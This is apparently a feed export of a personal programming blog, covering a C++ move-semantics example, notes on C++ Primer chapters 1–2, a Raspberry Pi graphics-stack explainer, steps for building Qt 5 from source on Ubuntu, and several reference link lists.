<span class="p">{</span>
<span class="n">m_data</span> <span class="o">=</span> <span class="n">other</span><span class="p">.</span><span class="n">m_data</span><span class="p">;</span> <span class="c1">// (1)</span>
<span class="n">m_size</span> <span class="o">=</span> <span class="n">other</span><span class="p">.</span><span class="n">m_size</span><span class="p">;</span>
<span class="n">other</span><span class="p">.</span><span class="n">m_data</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span> <span class="c1">// (2)</span>
<span class="n">other</span><span class="p">.</span><span class="n">m_size</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">m_id</span> <span class="o">=</span> <span class="n">m_object_count</span><span class="o">++</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="n">m_id</span> <span class="o"><<</span> <span class="s">" move constructor from "</span> <span class="o"><<</span> <span class="n">other</span><span class="p">.</span><span class="n">m_id</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="p">}</span>
<span class="cp">#endif
</span>
<span class="n">Holder</span><span class="o">&</span> <span class="k">operator</span><span class="o">=</span><span class="p">(</span><span class="k">const</span> <span class="n">Holder</span><span class="o">&</span> <span class="n">other</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="k">this</span> <span class="o">==</span> <span class="o">&</span><span class="n">other</span><span class="p">)</span>
<span class="k">return</span> <span class="o">*</span><span class="k">this</span><span class="p">;</span> <span class="c1">// (1)</span>
<span class="k">delete</span><span class="p">[]</span> <span class="n">m_data</span><span class="p">;</span> <span class="c1">// (2)</span>
<span class="n">m_data</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">int</span><span class="p">[</span><span class="n">other</span><span class="p">.</span><span class="n">m_size</span><span class="p">];</span>
<span class="n">std</span><span class="o">::</span><span class="n">copy</span><span class="p">(</span><span class="n">other</span><span class="p">.</span><span class="n">m_data</span><span class="p">,</span> <span class="n">other</span><span class="p">.</span><span class="n">m_data</span> <span class="o">+</span> <span class="n">other</span><span class="p">.</span><span class="n">m_size</span><span class="p">,</span> <span class="n">m_data</span><span class="p">);</span>
<span class="n">m_size</span> <span class="o">=</span> <span class="n">other</span><span class="p">.</span><span class="n">m_size</span><span class="p">;</span>
<span class="n">m_id</span> <span class="o">=</span> <span class="n">m_object_count</span><span class="o">++</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="n">m_id</span> <span class="o"><<</span> <span class="s">" assignment operator from "</span> <span class="o"><<</span> <span class="n">other</span><span class="p">.</span><span class="n">m_id</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="k">return</span> <span class="o">*</span><span class="k">this</span><span class="p">;</span> <span class="c1">// (3)</span>
<span class="p">}</span>
<span class="cp">#if MOVE_SEMANTIC == 1
</span> <span class="n">Holder</span><span class="o">&</span> <span class="k">operator</span><span class="o">=</span><span class="p">(</span><span class="n">Holder</span><span class="o">&&</span> <span class="n">other</span><span class="p">)</span> <span class="c1">// <-- rvalue reference in input</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="k">this</span> <span class="o">==</span> <span class="o">&</span><span class="n">other</span><span class="p">)</span>
<span class="k">return</span> <span class="o">*</span><span class="k">this</span><span class="p">;</span>
<span class="k">delete</span><span class="p">[]</span> <span class="n">m_data</span><span class="p">;</span> <span class="c1">// (1)</span>
<span class="n">m_data</span> <span class="o">=</span> <span class="n">other</span><span class="p">.</span><span class="n">m_data</span><span class="p">;</span> <span class="c1">// (2)</span>
<span class="n">m_size</span> <span class="o">=</span> <span class="n">other</span><span class="p">.</span><span class="n">m_size</span><span class="p">;</span>
<span class="n">other</span><span class="p">.</span><span class="n">m_data</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span> <span class="c1">// (3)</span>
<span class="n">other</span><span class="p">.</span><span class="n">m_size</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">m_id</span> <span class="o">=</span> <span class="n">m_object_count</span><span class="o">++</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="n">m_id</span> <span class="o"><<</span> <span class="s">" move assignment operator from "</span> <span class="o"><<</span> <span class="n">other</span><span class="p">.</span><span class="n">m_id</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="k">return</span> <span class="o">*</span><span class="k">this</span><span class="p">;</span>
<span class="p">}</span>
<span class="cp">#endif
</span>
<span class="nl">private:</span>
<span class="kt">int</span><span class="o">*</span> <span class="n">m_data</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">m_size</span><span class="p">;</span>
<span class="k">static</span> <span class="kt">int</span> <span class="n">m_object_count</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">m_id</span><span class="p">;</span>
<span class="p">};</span>
<span class="kt">int</span> <span class="n">Holder</span><span class="o">::</span><span class="n">m_object_count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">Holder</span>
<span class="nf">createHolder</span><span class="p">(</span><span class="kt">int</span> <span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">return</span> <span class="n">Holder</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="k">const</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">var1</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">var2</span> <span class="o">=</span> <span class="mi">20</span><span class="p">;</span>
<span class="c1">// int&& xx = var2;</span>
<span class="c1">// int& var_lref = var1;</span>
<span class="c1">// int&& var_rref = var1 + var2;</span>
<span class="c1">// var_rref += 30;</span>
<span class="c1">// *(&var_lref) = 30;</span>
<span class="c1">// *(&var_rref) = 10;</span>
<span class="c1">// cout << var_rref << " " << &var_lref << " " << &var1 << " " << var1 << " "</span>
<span class="c1">// << &var_rref << endl;</span>
<span class="c1">// int& rref_lref = var_rref;</span>
<span class="c1">// rref_lref = 100;</span>
<span class="c1">// cout << var_rref << endl;</span>
<span class="c1">// Holder h1(10000); // regular constructor</span>
<span class="c1">// Holder h2 = h1; // copy constructor</span>
<span class="c1">// Holder h3(h1); // copy constructor (alternate syntax)</span>
<span class="c1">// Holder h1(10000); // regular constructor</span>
<span class="c1">// Holder h2(60000); // regular constructor</span>
<span class="c1">// h1 = h2; // assignment operator</span>
<span class="c1">// Holder h4 = createHolder(100);</span>
<span class="n">Holder</span> <span class="n">h1</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span> <span class="c1">// regular constructor</span>
<span class="c1">// std::move cast lvalue to rvalue that trigger move semantic</span>
<span class="n">Holder</span> <span class="n">h3</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">move</span><span class="p">(</span><span class="n">h1</span><span class="p">));</span>
<span class="n">Holder</span> <span class="n">h2</span><span class="p">(</span><span class="n">h1</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h4 id="perfect-forward">Perfect forward</h4>
<ul>
<li><a href="https://eli.thegreenplace.net/2014/perfect-forwarding-and-universal-references-in-c">Perfect forwarding and universal references in C++</a></li>
<li><a href="http://thbecker.net/articles/rvalue_references/section_07.html">Perfect Forwarding: The Problem</a></li>
</ul>
Restful and long running request, message queue2018-08-01T00:00:00+00:00http://memto.github.io/program/2018/08/01/restful-and-long-running-request-message-queue<h4 id="ref">Ref</h4>
<ul>
<li><a href="https://farazdagi.com/2014/rest-and-long-running-jobs/">REST and long-running jobs</a></li>
<li><a href="https://en.wikipedia.org/wiki/HATEOAS">HATEOAS</a></li>
<li><a href="http://restalk-patterns.org/long-running-operation-polling.html">Long Running Operation with Polling</a></li>
<li>
<p><a href="http://techblog.spanning.com/2015/10/12/Long-running-Node-processes/">Long-running Node processes</a></p>
</li>
<li><a href="http://www.squaremobius.net/rabbit.js/">rabbit.js</a></li>
<li><a href="https://github.com/bee-queue/bee-queue">bee-queue</a></li>
<li><a href="https://github.com/Automattic/kue">kue</a></li>
</ul>
Mailing list guideline/etiquette2018-07-31T00:00:00+00:00http://memto.github.io/linux/tooltips/misc/2018/07/31/mailing-list-guideline-etiquette<h4 id="ref">Ref</h4>
<ul>
<li><a href="https://pydelhi.org/mailing-list-guidelines/">Mailing List Guidelines 1.0.1</a></li>
<li><a href="https://wiki.openstack.org/wiki/MailingListEtiquette">MailingListEtiquette</a></li>
<li><a href="https://en.wikipedia.org/wiki/Posting_style#Interleaved_style">Posting style</a></li>
<li><a href="https://fedoraproject.org/wiki/Mailing_list_guidelines">https://fedoraproject.org/wiki/Mailing_list_guidelines</a></li>
<li><a href="https://www.tizen.org/community/guidelines/mailing-list-guidelines">Mailing List Guidelines</a></li>
<li><a href="http://www.catb.org/~esr/faqs/smart-questions.html">How To Ask Questions The Smart Way</a></li>
</ul>
Graphics Acronyms & What works with what?2018-06-29T00:00:00+00:00http://memto.github.io/linux/program/2018/06/29/graphics-acronyms-what-works-with-what<h4 id="ref">Ref</h4>
<ul>
<li><a href="https://www.raspberrypi.org/forums/viewtopic.php?t=96316">Graphics Acronyms & What works with what?</a></li>
</ul>
<p>This is in fact fairly interesting question set - probably a source of confusion for many. Therefore some clarifications may be in place… (others feel free to comment, correct and extend - I do not claim to be an expert on this)</p>
<p>Raspberry Pi includes (built into the one ‘System On a Chip’ (SoC) package) both the ARM ‘main processor’ / CPU (just like a PC would have one form Intel or AMD) and the VideoCore IV graphics processor / GPU (like a PC would have one from Intel/Nvidia/AMD either built into the motherboard or on a separate graphics card).</p>
<p>The GPU provides hardware accelerated graphics - exposed to application programmers through the standard APIs: OpenGL, OpenVG etc. On the Raspberry Pi the GPU implements the slightly lighter ‘mobile device optimised’ variant/subset of OpenGL called OpenGLES. OpenGL and OpenGLES are mainly for 3D graphics (can also do 2D) - OpenVG is only for 2D graphics. It should be possible to combine both into same application - at least on two separate graphics surfaces overlaid on top of each other.</p>
<p>‘X’ (X11, X.org, X Window System) is the ‘motor under the hood’ of most ‘graphical desktop environments’ in Linux - it provides the low-level services for input (keyboard, mouse, …) and output (graphics, sound?, …). In addition to the ‘motor’, a typical DTE would also include a window manager and the actual graphical desktop (with user interface widgets etc.). The recommended Linux distribution on Raspberry Pi ‘Raspbian’ includes a complete set of these components and the current incarnation looks like this - other distributions may have slightly different set of components (different window manager and desktop on top of the common X.org ‘motor’).</p>
<p>Applications running on the Raspbian desktop can be programmed in many programming languages - some are less ‘under-the-hood’ concerned than others. Using C it is possible to implement graphical applications linking to the xlib the programming library/API for X.org. Usually one would of course want to use higher level user interface components often referred to as widgets - for this one would use any of the toolkits like GTK, QT(4), SDL, …) - some possibly requiring C++ as the programming language. There are also other higher level languages like Python (in X one could use PyGTKor Pygame for user interfacing) and Java (OpenJDK ‘desktop Java’ with AWT/Swing user interface libraries, not 100% sure of the status of this on RPi - better answered on the Java sub-forum I guess), even C# with Mono(?).</p>
<p>The Open* graphics libraries do not provide for display surfaces which (in a windowed desktop environment) one could think of as ‘window client areas’. To be able to draw say 3D graphics in an application running within the desktop environment, the program would need to create a desktop window and a graphics surface inside the window - for this there is the GLX library. For Java there is the JOGL library which provides integration with the Open* libraries.</p>
<p><img src="/media/Linux_Gfx_Stack.png" alt="Linux_Gfx_Stack.png" />
(window manager and desktop libraries omitted (the transparent yellow box) - SDL/GTK/Qt libraries also provide components to use Open* graphics - X does not really know anything about the Open* graphics drawn as the hw composites the X window surface and the GLX surface - at least as far as I know, at the moment the X video driver uses the kernel framebuffer).</p>
<p>However this is a bit different on Raspberry Pi - there is no GLX and a lower level library EGL must be used instead. Also there is the dispmanx library that binds the EGL surface to the actual platform surface.</p>
<p><img src="/media/RPi_Gfx_Stack_X.png" alt="RPi_Gfx_Stack_X.png" />
(EGL surface is not tied to the X window - the application must move the surface if the window is moved …which may lead to alignment issues like here with Minecraft)</p>
<p>It is also quite possible to run applications without the desktop environment - without the X window system at all. The simplest graphics can be drawn directly to the framebuffer (see my blog in the signature for examples) - dispmanx and EGL (and through EGL the Open* graphics) can be used from a ‘console’ application too (see the hello_pi examples provided with Raspbian). These are programmed using C language (may of course be wrapped into other languages). With these libraries accessing the mouse and keyboard is not the easiest and there are no ready made user interface widgets.</p>
<p>The SDL library can be used without X too - it provides mouse and keyboard handling and other useful functions - there is also a dispmanx backed version of SDL available which provides flicker free double-buffering.</p>
<p>Qt5 (using C++ programming language) on Raspberry Pi provides the full stack of graphics and user interface components. As does the Oracle JDK 8 with JavaFX. One option is to use Python language and the Pi3D library for graphics (not sure what the user interface functionality provided is).</p>
<p><img src="/media/RPi_Gfx_Stack_noX.png" alt="RPi_Gfx_Stack_noX.png" />
(NOTE: this is not meant to be in anyway complete as it comes to available libraries/frameworks/etc. - ajstarks/openvg and Cogl (RPi port) comes to mind first)</p>
<p>So it all depends on what you want to do, do you need/want to use the desktop environment, do you want to squeeze the last drop of performance, what is your preferred programming language, …</p>
<p>Where my knowledge really ends short are the different options possibly replacing X or parts of it in the future like Maynard and Wayland(I understand Qt5 would be using Wayland compositor as part of the stack but can Wl be used in other combinations?). By now it is fairly clear that X is somewhat archaic, designed more for network not for desktop, slow on resource constrained devices, etc. but then again it may be around for some time until better options are mature enough.</p>
Foray into crash/power outage safe storage2018-06-28T00:00:00+00:00http://memto.github.io/linux/program/misc/2018/06/28/foray-into-crash-power-outage-safe-storage<h4 id="ref">Ref</h4>
<ul>
<li><a href="http://oldblog.antirez.com/post/redis-persistence-demystified.html">Redis persistence demystified</a></li>
<li><a href="http://blog.httrack.com/blog/2013/11/15/everything-you-always-wanted-to-know-about-fsync/">Everything You Always Wanted to Know About Fsync</a></li>
<li><a href="https://www.daveeddy.com/2013/03/26/synchronous-file-io-in-nodejs/">Synchronous File IO in Node.js</a></li>
</ul>
d-pointer/PImpl (Pointer to implementation) in QT 2018-06-08T00:00:00+00:00http://memto.github.io/program/2018/06/08/d-pointer-pimpl-pointer-to-implementation-in-qt<h4 id="refcredit">Ref/Credit</h4>
<ul>
<li>https://wiki.qt.io/D-Pointer</li>
</ul>
<p><img src="/media/qt-d-pointer.png" alt="qt-d-pointer.png" /></p>
Building QT from source Ubuntu 16.04 and link from QtCreator2018-06-08T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2018/06/08/building-qt-from-source-ubuntu-16-04<h4 id="refcredit">Ref/Credit</h4>
<ul>
<li>http://wiki.qt.io/Building_Qt_5_from_Git#Getting_the_source_code</li>
</ul>
<h4 id="system-requirements">System Requirements</h4>
<ul>
<li>Git (>= 1.6.x) (git –version)</li>
<li>Perl (>=5.14) (perl -v)</li>
<li>Python (>=2.6.x) (python –version)</li>
<li>A working C++ compiler</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">## Linux/X11</span>
<span class="nb">sudo </span>apt-get build-dep qt5-default
<span class="nb">sudo </span>apt-get <span class="nb">install </span>libxcb-xinerama0-dev
<span class="c">## Build essential</span>
<span class="nb">sudo </span>apt-get <span class="nb">install </span>build-essential perl python git
<span class="c">## Libxcb</span>
<span class="nb">sudo </span>apt-get <span class="nb">install</span> <span class="s1">'^libxcb.*-dev'</span> libx11-xcb-dev libglu1-mesa-dev libxrender-dev libxi-dev
<span class="c">## QT webengine</span>
<span class="nb">sudo </span>apt-get <span class="nb">install </span>libssl-dev libxcursor-dev libxcomposite-dev libxdamage-dev libxrandr-dev libdbus-1-dev libfontconfig1-dev libcap-dev libxtst-dev libpulse-dev libudev-dev libpci-dev libnss3-dev libasound2-dev libxss-dev libegl1-mesa-dev gperf bison
<span class="c">## QT multimedia</span>
<span class="c">## Issue: The QMediaPlayer object does not have a valid service</span>
<span class="c">## Please check the media service plugins are installed.</span>
<span class="nb">sudo </span>apt-get <span class="nb">install </span>libasound2-dev libgstreamer1.0-dev libgstreamer-plugins-base1.0-dev
</code></pre></div></div>
<h4 id="geting-source-code">Geting Source code</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://code.qt.io/qt/qt5.git
<span class="nb">cd </span>qt5
git checkout 5.10
</code></pre></div></div>
<ul>
<li>Initialize the repository using the init-repository script</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Module options:
<span class="nt">--module-subset</span><span class="o">=</span><module1>,<module2>...
Only initialize the specified subset of modules given as the
argument. Specified modules must already exist <span class="k">in</span> .gitmodules. The
string <span class="s2">"all"</span> results <span class="k">in </span>cloning all known modules. The strings
<span class="s2">"essential"</span>, <span class="s2">"addon"</span>, <span class="s2">"preview"</span>, <span class="s2">"deprecated"</span>, <span class="s2">"obsolete"</span>, and
<span class="s2">"ignore"</span> refer to classes of modules<span class="p">;</span> <span class="s2">"default"</span> maps to
<span class="s2">"essential,addon,preview,deprecated"</span>, which corresponds with the
<span class="nb">set </span>of maintained modules and is also the default set. Module
names may be prefixed with a dash to exclude them from a bigger
<span class="nb">set</span>, e.g. <span class="s2">"all,-ignore"</span><span class="nb">.</span>
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>perl init-repository <span class="nt">--module-subset</span><span class="o">=</span>essential
</code></pre></div></div>
<h4 id="configuring-and-building">Configuring and Building</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>export LLVM_INSTALL_DIR=/usr/llvm
./configure -developer-build -opensource -nomake examples -nomake tests -prefix <PREFIX-PATH> -debug -recheck-all -confirm-license
</code></pre></div></div>
<h4 id="link-to-the-built-from-qtcreator">Link to the built from QtCreator</h4>
<h4 id="issue">Issue</h4>
<ul>
<li>QFontDatabase: Cannot find font directory <PREFIX-PATH>/lib/fonts.
<ul>
<li>Description</li>
</ul>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> QFontDatabase: Cannot find font directory <PREFIX-PATH>/lib/fonts.
Note that Qt no longer ships fonts. Deploy some (from http://dejavu-fonts.org for example) or switch to fontconfig.
</code></pre></div> </div>
<ul>
<li>Fix:</li>
</ul>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Create required folder and put some fonts there
</code></pre></div> </div>
</li>
</ul>
Content Delivery Network (CDN) Stuff2018-05-25T00:00:00+00:00http://memto.github.io/tooltips/misc/2018/05/25/content-delivery-network-cdn-stuff<h2 id="ref">Ref</h2>
<p><a href="https://www.globaldots.com/content-delivery-network-explained/">Everything you need to know about Content Delivery Networks (CDN) on one page</a></p>
<p><a href="https://www.incapsula.com/cdn-guide/">https://www.incapsula.com/cdn-guide/</a></p>
<p><a href="http://go.cedexis.com/rs/118-XVQ-852/images/How-to-Build-a-Private-CDN-for-Video.pdf">How to Build a Private CDN for Video with Off-the-Shelf Components</a></p>
<p><a href="https://pasztor.at/blog/building-your-own-cdn">https://pasztor.at/blog/building-your-own-cdn</a></p>
<p><a href="https://engineering.linkedin.com/network-performance/tcp-over-ip-anycast-pipe-dream-or-reality">https://engineering.linkedin.com/network-performance/tcp-over-ip-anycast-pipe-dream-or-reality</a></p>
<p><a href="https://latency.apex.sh/">https://latency.apex.sh/</a></p>
C++ Primer 5th Notes2018-05-18T00:00:00+00:00http://memto.github.io/program/2018/05/18/c-primer-5th-notes<h2 id="preface">Preface</h2>
<p>Primary goal of new standard (C++11):</p>
<ul>
<li>Make the language more uniform and easier to teach and to learn</li>
<li>Make the standard libraries easier, safer, and more efficient to use</li>
<li>Make it easier to write efficient abstractions and libraries</li>
</ul>
<p>Modern C++ parts:</p>
<ul>
<li>The low-level language, much of which is inherited from C</li>
<li>More advanced language features that allow us to define our own types and to organize large-scale programs and systems</li>
<li>The standard library, which uses these advanced features to provide useful data structures and algorithms</li>
</ul>
<p>Approach</p>
<ul>
<li>Top down: use high-level feature and hide low level details</li>
</ul>
<p>Icon:</p>
<ul>
<li>C++11: feature available on c++11</li>
<li>A person studying a book: Everyone should read and understand these sections</li>
<li>Stack of book: can be skipped or skimmed on a first reading, just to have an idea about capability exists, revisit when need to use</li>
<li>Magnifying-glass: particularly tricky concepts, pay more attention for thorought understand</li>
</ul>
<h3 id="chapter-1-getting-started">Chapter 1: Getting Started</h3>
<p>Key concept: data type</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>A type defines both the contents of a data element and the operations that are possible on those data.
</code></pre></div></div>
<p>Standard library: The C++ language does not define any statements to do input or output (IO). Instead, C++ includes an extensive <strong>standard library</strong> that provides IO (and many other facilities).</p>
<p>Standard IO: Predefined IO objects: cin, cout, cerr, clog</p>
<p>Expression: The smallest unit of computation. An expression consists of one or
more <em>operands</em> and usually one or more <em>operators</em>. Expressions are evaluated to
produce a result.</p>
<p>Literal:</p>
<ul>
<li>Number literal: Sequence of zero or more numerical characters (123, 456)</li>
<li>String literal: Sequence of zero or more characters enclosed in double quotes (“a string literal”)</li>
</ul>
<p>Manipulator: Objects, such as std::endl, that when read or written “manipulates” the stream itself.</p>
<p>Buffer: A region of storage used to hold data. IO facilities often store input (or
output) in a buffer and read or write the buffer independently from actions in the
program.</p>
<p>Output(«)/Input(») operator: output/read data to/from left-hand operand and return that operand.</p>
<p>std::end manipulator: writing <em>std::endl</em> has the effect of <em>ending</em> the current line and <em>flushing</em> the buffer associated with that device.</p>
<p>std::cin: can be used as test condition on (for-loop, while-loop, if statement).</p>
<p>Key Concept: Indentation and Formatting of C++ Programs</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Always make indentation and formating code for readablity and matainance
</code></pre></div></div>
<p>Key Concept: Classes Define Behavior</p>
<ul>
<li>To use a class, we need not care about how it is implemented. Instead, what we need to know is what operations objects of that type can perform</li>
<li>It is the class author of a class, who determines all the operations that can be used on objects of the class type, need to know how it is implemented</li>
</ul>
<h2 id="part-i-the-basics">Part I: The Basics</h2>
<p>Most fundamental of common features of a programming language</p>
<ul>
<li>Built-in types such as integers, characters, and so forth</li>
<li>Variables, which let us give names to the objects we use</li>
<li>Expressions and statements to manipulate values of these types</li>
<li>Control structures, such as if or while, that allow us to conditionally or repeatedly execute a set of actions</li>
<li>Functions that let us define callable units of computation</li>
<li>Facilities which lets us define our own type, data structure, operations</li>
</ul>
<p>At its core, C++ is a simple language, it provides a set of built-in types, operators to manipulate those types, and a small set of statements for program flow control. Its expressive power arises from its support for mechanisms that allow the programmer to define new data type (class support) and rich of standard libraries.</p>
<p>C++ is a <em>statically typed</em> language: type checking is done at compile time.</p>
<p>The first step in mastering C++ is learning the basics of the language and library.</p>
<h3 id="chapter-2-variables-and-basic-types">Chapter 2: Variables and Basic Types</h3>
<p>C++ primitive types = arithmatic types + special type named <em>void</em>. Arithmatic type = integral types + floating-point type.</p>
<p>The size of, that is, the number of bits in the arithmetic types varies across
machines. The standard <em>only guarantees minimum sizes</em> and compilers are allowed to use larger sizes for these types.</p>
<p>Unlike the other integer types, there are three distinct basic character types: <em>char</em>, <em>signed char</em>, and <em>unsigned char</em>. In particular, <em>char</em> is not the same type as <em>signed char</em>. Although there are three character types, there are only two representations: <em>signed</em> and <em>unsigned</em>. The (plain) <em>char</em> type uses one of these representations, but which one is depends on the compiler.</p>
<p>Advice: which type to use</p>
<ul>
<li>Use an <em>unsigned type</em> when you know that the values cannot be negative.</li>
<li>Use <em>int</em> for integer arithmetic. <em>short</em> is usually too small and, in practice, <em>long</em> often has the same size as <em>int</em>. If your data values are larger than the minimum guaranteed size of an <em>int</em>, then use <em>long long</em>.</li>
<li>Do not use plain <em>char</em> or <em>bool</em> in arithmetic expressions. Use them only to hold characters or truth values. Computations using <em>char</em> are especially problematic because <em>char</em> is signed on some machines and unsigned on others. If you need a tiny integer, explicitly specify either <em>signed char</em> or <em>unsigned char</em>.</li>
<li>Use <em>double</em> for floating-point computations; <em>float</em> usually does not have enough precision, and the cost of double-precision calculations versus single-precision is negligible. In fact, on some machines, double-precision operations are faster than single. The precision offered by <em>long double</em> usually is unnecessary and often entails considerable run-time cost.</li>
</ul>
<p>Type Conversions</p>
<ul>
<li>Type conversion is one of operations which depend on data type</li>
<li>Happen automatically when we use an object of one type where an object of another type is expected</li>
<li>Example on arithmetic type assigment
<ul>
<li><em>non-bool</em> to <em>bool</em>: <em>false</em> if value is 0 and <em>true</em> otherwise</li>
<li><em>bool</em> to <em>non-bool</em>: 0 if the bool is <em>false</em>, 1 if the bool is <em>true</em></li>
<li><em>float</em> to <em>integer</em>: float value is truncated to part before decimal point</li>
<li><em>integer</em> to <em>float</em>: fractional part is zero. Precision may be lost if the integer has more bits than the floating-point object can accommodate</li>
<li><em>out-of-range</em> to <em>unsigned</em>: the result is the remainder of the value <em>modulo</em> the number of values the target type can hold (EX: an 8-bit unsigned char can hold values from 0 through 255, inclusive. If we assign a value outside this range, the compiler assigns the remainder of that value modulo 256. Therefore, assigning –1 to an 8-bit unsigned char gives that object the value 255)</li>
<li>If we assign an out-of-range value to an object of signed type, the result is <strong>undefined</strong></li>
</ul>
</li>
</ul>
<p>Mixed Unsigned vs Signed</p>
<ul>
<li>Signed values are automatically converted to unsigned using <em>out-of-range</em> rule above</li>
</ul>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Example1</span>
<span class="kt">unsigned</span> <span class="n">u</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="o">-</span><span class="mi">42</span><span class="p">;</span>
<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o"><<</span> <span class="n">i</span> <span class="o">+</span> <span class="n">i</span> <span class="o"><<</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span> <span class="c1">// prints -84</span>
<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o"><<</span> <span class="n">u</span> <span class="o">+</span> <span class="n">i</span> <span class="o"><<</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span> <span class="c1">// if 32-bit ints, prints 4294967264</span>
<span class="c1">// Example 2</span>
<span class="kt">unsigned</span> <span class="n">u1</span> <span class="o">=</span> <span class="mi">42</span><span class="p">,</span> <span class="n">u2</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>
<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o"><<</span> <span class="n">u1</span> <span class="o">-</span> <span class="n">u2</span> <span class="o"><<</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span> <span class="c1">// ok: result is 32</span>
<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o"><<</span> <span class="n">u2</span> <span class="o">-</span> <span class="n">u1</span> <span class="o"><<</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span> <span class="c1">// ok: but the result will wrap around</span>
<span class="c1">// Example 3</span>
<span class="c1">// WRONG: u can never be less than 0; the condition will always succeed</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="n">u</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span> <span class="n">u</span> <span class="o">>=</span> <span class="mi">0</span><span class="p">;</span> <span class="o">--</span><span class="n">u</span><span class="p">)</span>
<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o"><<</span> <span class="n">u</span> <span class="o"><<</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</code></pre></div></div>
<p>Advice: Don’t Mix Signed and Unsigned Types</p>
<h4 id="literal">Literal</h4>
<ul>
<li>Character and character string literal</li>
<li>Integer literal</li>
<li>Floating-point literal</li>
<li>Bool and pointer literal</li>
</ul>
<h4 id="variable">Variable</h4>
<ul>
<li><em>Object</em>: is a region of memory that has a type</li>
<li>Initialization is not assigment</li>
</ul>
<p>List initialization</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">units_sold</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kt">int</span> <span class="nf">units_sold</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="c1">// list initialization</span>
<span class="kt">int</span> <span class="n">units_sold</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="kt">int</span> <span class="n">units_sold</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="c1">// C++11: The compiler will not let us list initialize variables of built-in type </span>
<span class="c1">// if the initializer might lead to the loss of information</span>
<span class="kt">long</span> <span class="kt">double</span> <span class="n">ld</span> <span class="o">=</span> <span class="mi">3</span><span class="p">.</span><span class="mi">1415926536</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">a</span><span class="p">{</span><span class="n">ld</span><span class="p">},</span> <span class="n">b</span> <span class="o">=</span> <span class="p">{</span><span class="n">ld</span><span class="p">};</span> <span class="c1">// error: narrowing conversion required</span>
<span class="kt">int</span> <span class="n">c</span><span class="p">(</span><span class="n">ld</span><span class="p">),</span> <span class="n">d</span> <span class="o">=</span> <span class="n">ld</span><span class="p">;</span> <span class="c1">// ok: but value will be truncated</span>
</code></pre></div></div>
<p>Default initialization (variable without initializer)</p>
<ul>
<li>build-in type
<ul>
<li>global is initialize to zero</li>
<li>local variable has undefined value</li>
</ul>
</li>
<li>class type: have a value that is defined by the class</li>
</ul>
<p>Declaration vs definition</p>
<ul>
<li>Variables must be defined exactly once but can be declared many times</li>
</ul>
<p>Identifiers</p>
<p>Scope of a name</p>
<ul>
<li>global vs block scope</li>
<li>Advice: Define Variables Where You First Use Them</li>
<li>nested scope (inner vs outer scope)</li>
</ul>
<h4 id="compound-types">Compound Types</h4>
